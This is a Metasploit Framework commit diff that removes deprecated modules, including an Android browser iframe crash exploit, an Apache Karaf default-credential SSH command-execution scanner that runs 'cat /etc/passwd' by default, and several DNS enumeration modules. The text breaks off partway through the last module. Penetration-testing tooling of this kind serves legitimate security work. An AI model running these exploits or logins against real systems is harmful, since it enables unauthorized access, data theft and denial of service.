Remove deprecated modules
psexec_psh is undeprecated because users have been reporting idiosyncrasies between it and psexec in the field.bug/bundler_fix
parent
58112d7b4d
commit
fed2ed444f
|
@ -1,65 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 4, 23), 'auxiliary/dos/android/android_stock_browser_iframe')
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Android Stock Browser Iframe DOS",
|
||||
'Description' => %q(
|
||||
This module exploits a vulnerability in the native browser that comes with Android 4.0.3.
|
||||
If successful, the browser will crash after viewing the webpage.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jean Pascal Pereira', # Original exploit discovery
|
||||
'Jonathan Waggoner' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'PACKETSTORM', '118539'],
|
||||
[ 'CVE', '2012-6301' ]
|
||||
],
|
||||
'DisclosureDate' => "Dec 1 2012",
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [[ 'WebServer' ]],
|
||||
'DefaultAction' => 'WebServer'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit # start http server
|
||||
end
|
||||
|
||||
def setup
|
||||
@html = %|
|
||||
<html>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
for (var i = 0; i < 600; i++)
|
||||
{
|
||||
var m_frame = document.createElement("iframe");
|
||||
m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(rand(16) + 1)}");
|
||||
document.body.appendChild(m_frame);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_status('Sending response')
|
||||
send_response(cli, @html)
|
||||
end
|
||||
end
|
|
@ -1,138 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 4, 14), 'auxiliary/scanner/ssh/apache_karaf_command_execution')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Apache Karaf Default Credentials Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
|
||||
The 'karaf' user has a known default password, which can be used to login to the
|
||||
SSH service, and execute operating system commands from remote.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicholas Starke <nick@alephvoid.com>'
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['Apache Karaf', {}],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Feb 9 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8101),
|
||||
OptString.new('USERNAME', [true, 'Username', 'karaf']),
|
||||
OptString.new('PASSWORD', [true, 'Password', 'karaf']),
|
||||
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def cmd
|
||||
datastore['CMD']
|
||||
end
|
||||
|
||||
def do_login(user, pass, ip)
|
||||
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
|
||||
opts = {
|
||||
:auth_methods => ['password'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => rport,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:password => pass,
|
||||
:record_auth_info => true,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
}
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(ip, user, opts)
|
||||
end
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
|
||||
return
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{ip}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
|
||||
else
|
||||
print_error "#{ip}:#{rport} - Unknown error"
|
||||
end
|
||||
ssh
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Attempt to login...")
|
||||
ssh = do_login(username, password, ip)
|
||||
if ssh
|
||||
output = ssh.exec!("shell:exec #{cmd}\n").to_s
|
||||
if output
|
||||
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
|
||||
store_loot("apache.karaf.command",
|
||||
"text/plain",
|
||||
ip,
|
||||
output)
|
||||
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
|
||||
else
|
||||
print_error "#{ip}:#{rport} - Command failed to execute"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,134 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Brutefoce Enumeration',
|
||||
'Description' => %q{
|
||||
This module uses a dictionary to perform a bruteforce attack to enumerate
|
||||
hostnames and subdomains available under a given domain.
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The target domain name"]),
|
||||
OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]),
|
||||
OptPath.new('WORDLIST', [ true, "Wordlist file for domain name brute force.",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]),
|
||||
OptInt.new('THREADS', [ true, "Number of threads", 1])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Enumerating #{datastore['DOMAIN']}")
|
||||
@res = Net::DNS::Resolver.new()
|
||||
@res.retry = datastore['RETRY'].to_i unless datastore['RETRY'].nil?
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i unless datastore['RETRY_INTERVAL'].nil?
|
||||
wildcard(datastore['DOMAIN'])
|
||||
switchdns() unless datastore['NS'].nil?
|
||||
dnsbrt(datastore['DOMAIN'])
|
||||
end
|
||||
|
||||
def wildcard(target)
|
||||
rendsub = rand(10000).to_s
|
||||
query = @res.query("#{rendsub}.#{target}", "A")
|
||||
if query.answer.length != 0
|
||||
print_status("This Domain has wild-cards enabled!!")
|
||||
query.answer.each do |rr|
|
||||
print_warning("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
|
||||
end
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def get_ip(host)
|
||||
results = []
|
||||
query = @res.search(host, "A")
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
if rr.type == "CNAME"
|
||||
results = results + get_ip(rr.cname)
|
||||
else
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
query1 = @res.search(host, "AAAA")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.type == "CNAME"
|
||||
results = results + get_ip(rr.cname)
|
||||
else
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def switchdns()
|
||||
print_status("Using DNS server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
@nsinuse = datastore['NS']
|
||||
end
|
||||
|
||||
def dnsbrt(domain)
|
||||
print_status("Performing bruteforce against #{domain}")
|
||||
queue = []
|
||||
File.open(datastore['WORDLIST'], 'rb').each_line do |testd|
|
||||
queue << testd.strip
|
||||
end
|
||||
while(not queue.empty?)
|
||||
tl = []
|
||||
1.upto(datastore['THREADS']) do
|
||||
tl << framework.threads.spawn("Module(#{self.refname})-#{domain}", false, queue.shift) do |testf|
|
||||
Thread.current.kill if not testf
|
||||
vprint_status("Testing #{testf}.#{domain}")
|
||||
get_ip("#{testf}.#{domain}").each do |i|
|
||||
print_good("Host #{i[:host]} with address #{i[:address]} found")
|
||||
report_host(
|
||||
:host => i[:address].to_s,
|
||||
:name => i[:host].gsub(/\.$/,'')
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
if(tl.length == 0)
|
||||
break
|
||||
end
|
||||
tl.first.join
|
||||
tl.delete_if { |t| not t.alive? }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,118 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/dns/resolver'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Non-Recursive Record Scraper',
|
||||
'Description' => %q{
|
||||
This module can be used to scrape records that have been cached
|
||||
by a specific nameserver. The module allows the user to test
|
||||
every record from a specified file.
|
||||
},
|
||||
'Author' => [
|
||||
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
|
||||
'Rob Dixon "304geek" <rob.dixon[at]accuvant.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'http://304geeks.blogspot.com/2013/01/dns-scraping-for-corporate-av-detection.html']
|
||||
]))
|
||||
|
||||
register_options([
|
||||
OptString.new('DOMAIN', [ false, "Domain name to query for"]),
|
||||
OptPath.new('WORDLIST', [ false, "Wordlist for domain name queries", ::File.join(Msf::Config.data_directory, "wordlists", "av-update-urls.txt")]),
|
||||
OptAddress.new('NS', [ true, "Specify the nameserver to use for queries" ]),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]),
|
||||
OptInt.new('DNS_TIMEOUT', [true, "DNS Timeout in seconds", 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# method to scrape dns
|
||||
def scrape_dns(domain)
|
||||
|
||||
# dns request with recursive disabled
|
||||
use_tcp = datastore['TCP_DNS']
|
||||
res = Net::DNS::Resolver.new(:nameservers => "#{datastore['NS']}", :recursive => false, :use_tcp => use_tcp)
|
||||
use_tcp ? res.tcp_timeout = datastore['DNS_TIMEOUT'] : res.udp_timeout = datastore['DNS_TIMEOUT']
|
||||
|
||||
# query dns
|
||||
begin
|
||||
query = res.send(domain)
|
||||
rescue ResolverArgumentError
|
||||
print_error("Invalid domain: #{domain}")
|
||||
return
|
||||
rescue NoResponseError
|
||||
print_error("DNS Timeout Issue: #{domain}")
|
||||
return
|
||||
end
|
||||
|
||||
# found or not found
|
||||
if query.answer.empty?
|
||||
vprint_status("#{domain} - Not Found")
|
||||
return
|
||||
end
|
||||
|
||||
@is_vulnerable = true
|
||||
print_good("#{domain} - Found")
|
||||
report_goods(domain)
|
||||
end
|
||||
|
||||
# method to read each line from file
|
||||
def read_file
|
||||
::File.open("#{datastore['WORDLIST']}", "rb").each_line do |line|
|
||||
scrape_dns(line.chomp)
|
||||
end
|
||||
end
|
||||
|
||||
# log results to database
|
||||
def report_goods(domain)
|
||||
if datastore['TCP_DNS']
|
||||
proto = "tcp"
|
||||
else
|
||||
proto = "udp"
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => datastore['NS'],
|
||||
:name => "dns",
|
||||
:port => 53,
|
||||
:proto => proto,
|
||||
:type => "dns.cache.scrape",
|
||||
:data => "#{domain} cached",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
# main control method
|
||||
def run
|
||||
@is_vulnerable = false
|
||||
|
||||
print_status("Making queries against #{datastore['NS']}")
|
||||
|
||||
if datastore['DOMAIN'].blank?
|
||||
read_file
|
||||
else
|
||||
scrape_dns(datastore['DOMAIN'])
|
||||
end
|
||||
|
||||
report_vuln(
|
||||
:host => datastore['NS'],
|
||||
:name => "DNS Cache Snooping",
|
||||
) if @is_vulnerable
|
||||
end
|
||||
end
|
||||
|
|
@ -1,235 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Basic Information Enumeration',
|
||||
'Description' => %q{
|
||||
This module enumerates basic DNS information for a given domain. The module
|
||||
gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name
|
||||
servers), SOA (start of authority) and MX (mail servers) records for a given
|
||||
domain. In addition, this module retrieves information stored in TXT records.
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The target domain name"]),
|
||||
OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system configured DNS Server is used." ]),
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Enumerating #{datastore['DOMAIN']}")
|
||||
@res = Net::DNS::Resolver.new()
|
||||
|
||||
if datastore['RETRY']
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
end
|
||||
|
||||
if datastore['RETRY_INTERVAL']
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
end
|
||||
|
||||
wildcard(datastore['DOMAIN'])
|
||||
switchdns() unless datastore['NS'].nil? or datastore['NS'].empty?
|
||||
|
||||
get_ip(datastore['DOMAIN']).each do |r|
|
||||
print_good("#{r[:host]} - Address #{r[:address]} found. Record type: #{r[:type]}")
|
||||
report_host(:host => r[:address])
|
||||
end
|
||||
|
||||
get_ns(datastore['DOMAIN']).each do |r|
|
||||
print_good("#{datastore['DOMAIN']} - Name server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}")
|
||||
report_host(:host => r[:address], :name => r[:host])
|
||||
report_service(
|
||||
:host => r[:address],
|
||||
:name => "dns",
|
||||
:port => 53,
|
||||
:proto => "udp"
|
||||
)
|
||||
end
|
||||
|
||||
get_soa(datastore['DOMAIN']).each do |r|
|
||||
print_good("#{datastore['DOMAIN']} - #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}")
|
||||
report_host(:host => r[:address], :name => r[:host])
|
||||
end
|
||||
|
||||
get_mx(datastore['DOMAIN']).each do |r|
|
||||
print_good("#{datastore['DOMAIN']} - Mail server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}")
|
||||
report_host(:host => r[:address], :name => r[:host])
|
||||
report_service(
|
||||
:host => r[:address],
|
||||
:name => "smtp",
|
||||
:port => 25,
|
||||
:proto => "tcp"
|
||||
)
|
||||
end
|
||||
|
||||
get_txt(datastore['DOMAIN']).each do |r|
|
||||
print_good("#{datastore['DOMAIN']} - Text info found: #{r[:text]}. Record type: #{r[:type]}")
|
||||
report_note(
|
||||
:host => datastore['DOMAIN'],
|
||||
:proto => 'udp',
|
||||
:port => 53,
|
||||
:type => 'dns.info',
|
||||
:data => {:text => r[:text]}
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def wildcard(target)
|
||||
rendsub = rand(10000).to_s
|
||||
query = @res.query("#{rendsub}.#{target}", "A")
|
||||
if query.answer.length != 0
|
||||
print_status("This Domain has Wild-cards Enabled!!")
|
||||
query.answer.each do |rr|
|
||||
print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
|
||||
report_note(
|
||||
:host => datastore['DOMAIN'],
|
||||
:proto => 'UDP',
|
||||
:port => 53,
|
||||
:type => 'dns.wildcard',
|
||||
:data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}"
|
||||
)
|
||||
end
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def get_ip(host)
|
||||
results = []
|
||||
query = @res.search(host, "A")
|
||||
if query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "A"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "A"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
query1 = @res.search(host, "AAAA")
|
||||
if query1
|
||||
query1.answer.each do |rr|
|
||||
next unless rr.type == "AAAA"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
record[:address] = rr.address.to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def get_ns(target)
|
||||
results = []
|
||||
query = @res.query(target, "NS")
|
||||
return results if not query
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
|
||||
get_ip(rr.nsdname).each do |r|
|
||||
record = {}
|
||||
record[:host] = rr.nsdname.gsub(/\.$/,'')
|
||||
record[:type] = "NS"
|
||||
record[:address] = r[:address].to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def get_soa(target)
|
||||
results = []
|
||||
query = @res.query(target, "SOA")
|
||||
return results if not query
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
if Rex::Socket.dotted_ip?(rr.mname)
|
||||
record = {}
|
||||
record[:host] = rr.mname
|
||||
record[:type] = "SOA"
|
||||
record[:address] = rr.mname
|
||||
results << record
|
||||
else
|
||||
get_ip(rr.mname).each do |ip|
|
||||
record = {}
|
||||
record[:host] = rr.mname.gsub(/\.$/,'')
|
||||
record[:type] = "SOA"
|
||||
record[:address] = ip[:address].to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def get_txt(target)
|
||||
results = []
|
||||
query = @res.query(target, "TXT")
|
||||
return results if not query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "TXT"
|
||||
record = {}
|
||||
record[:host] = target
|
||||
record[:text] = rr.txt
|
||||
record[:type] = "TXT"
|
||||
results << record
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def get_mx(target)
|
||||
results = []
|
||||
query = @res.query(target, "MX")
|
||||
return results if not query
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr|
|
||||
if Rex::Socket.dotted_ip?(rr.exchange)
|
||||
record = {}
|
||||
record[:host] = rr.exchange
|
||||
record[:type] = "MX"
|
||||
record[:address] = rr.exchange
|
||||
results << record
|
||||
else
|
||||
get_ip(rr.exchange).each do |ip|
|
||||
record = {}
|
||||
record[:host] = rr.exchange.gsub(/\.$/,'')
|
||||
record[:type] = "MX"
|
||||
record[:address] = ip[:address].to_s
|
||||
results << record
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
def switchdns()
|
||||
print_status("Using DNS server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
@nsinuse = datastore['NS']
|
||||
end
|
||||
end
|
||||
|
|
@ -1,136 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Reverse Lookup Enumeration',
|
||||
'Description' => %q{
|
||||
This module performs DNS reverse lookup against a given IP range in order to
|
||||
retrieve valid addresses and names.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>', # Base code
|
||||
'Thanat0s <thanspam[at]trollprod.org>' # Output, Throttling & Db notes add
|
||||
],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']),
|
||||
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]),
|
||||
OptString.new('OUT_FILE', [ false, "Specify a CSV output file" ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]),
|
||||
OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]),
|
||||
OptInt.new('THROTTLE', [ false, "Specify the resolution throttle in query per sec. 0 means unthrottled",0 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
@res = Net::DNS::Resolver.new()
|
||||
|
||||
if datastore['RETRY']
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
end
|
||||
|
||||
if datastore['RETRY_INTERVAL']
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
end
|
||||
|
||||
@threadnum = datastore['THREADS'].to_i
|
||||
switchdns() unless datastore['NS'].nil?
|
||||
reverselkp(datastore['RANGE'])
|
||||
end
|
||||
|
||||
def reverselkp(iprange)
|
||||
print_status("Running reverse lookup against IP range #{iprange}")
|
||||
ar = Rex::Socket::RangeWalker.new(iprange)
|
||||
tl = []
|
||||
# Basic Throttling
|
||||
sleep_time = 0.0
|
||||
if (datastore['THROTTLE'] != 0)
|
||||
sleep_time = (1.0/datastore['THROTTLE'])*datastore['THREADS']
|
||||
print_status("Throttle set to #{datastore['THROTTLE']} queries per seconds")
|
||||
end
|
||||
# Output..
|
||||
if datastore['OUT_FILE']
|
||||
print_status("Scan result saved in #{datastore['OUT_FILE']}")
|
||||
open(datastore['OUT_FILE'], 'w') do |f|
|
||||
f.puts "; IP, Host"
|
||||
end
|
||||
end
|
||||
while (true)
|
||||
# Spawn threads for each host
|
||||
hosts = Hash.new
|
||||
while (tl.length <= @threadnum)
|
||||
ip = ar.next_ip
|
||||
break if not ip
|
||||
tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip|
|
||||
begin
|
||||
Rex.sleep(sleep_time)
|
||||
query = @res.query(tip)
|
||||
query.each_ptr do |addresstp|
|
||||
print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}")
|
||||
if datastore['OUT_FILE']
|
||||
open(datastore['OUT_FILE'], 'a') do |f|
|
||||
f.puts "#{tip.to_s},#{addresstp}"
|
||||
end
|
||||
end
|
||||
report_host(
|
||||
:host => tip.to_s,
|
||||
:name => addresstp
|
||||
)
|
||||
if !hosts[tip]
|
||||
hosts[tip] = Array.new
|
||||
end
|
||||
hosts[tip].push addresstp
|
||||
end
|
||||
unless hosts[tip].nil? or hosts[tip].empty?
|
||||
report_note(
|
||||
:host => tip.to_s,
|
||||
:type => "RDNS_Record",
|
||||
:data => hosts[tip]
|
||||
)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{tip}: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
# Exit once we run out of hosts
|
||||
if(tl.length == 0)
|
||||
break
|
||||
end
|
||||
tl.first.join
|
||||
tl.delete_if { |t| not t.alive? }
|
||||
end
|
||||
end
|
||||
|
||||
def switchdns()
|
||||
print_status("Using DNS server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
@nsinuse = datastore['NS']
|
||||
end
|
||||
end
|
||||
|
|
@ -1,301 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Module::Deprecated
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Common Service Record Enumeration',
|
||||
'Description' => %q{
|
||||
This module enumerates common DNS service records in a given domain. By setting
|
||||
the ALL_DNS to true, all the name servers of a given domain are used for
|
||||
enumeration. Otherwise only the system dns is used for enumration. in order to get
|
||||
all the available name servers for the given domain the SOA and NS records are
|
||||
queried. In order to convert from domain names to IP addresses queries for A and
|
||||
AAAA (IPv6) records are used. For Active Directory, it is possible to specify sites.
|
||||
},
|
||||
'Author' => [
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>', # First and main.
|
||||
'Fabrice RAFART' # mainly change for AD and report.
|
||||
],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [true, "The target domain name."]),
|
||||
OptString.new('SITES', [false, "The Active Directory site names to test (comma-separated)."]),
|
||||
OptBool.new('ALL_NS', [false, "Run against all name servers for the given domain.", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [false, "Number of times to try to resolve a record if no response is received.", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [false, "Number of seconds to wait before doing a retry.", 2])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
records = []
|
||||
@res = Net::DNS::Resolver.new()
|
||||
if datastore['RETRY']
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
end
|
||||
|
||||
if datastore['RETRY_INTERVAL']
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
end
|
||||
|
||||
print_status("Enumerating SRV Records for #{datastore['DOMAIN']}")
|
||||
records = records + srvqry(datastore['DOMAIN'])
|
||||
if datastore["ALL_NS"]
|
||||
get_soa(datastore['DOMAIN']).each do |s|
|
||||
switchdns(s[:address])
|
||||
records = records + srvqry(datastore['DOMAIN'])
|
||||
end
|
||||
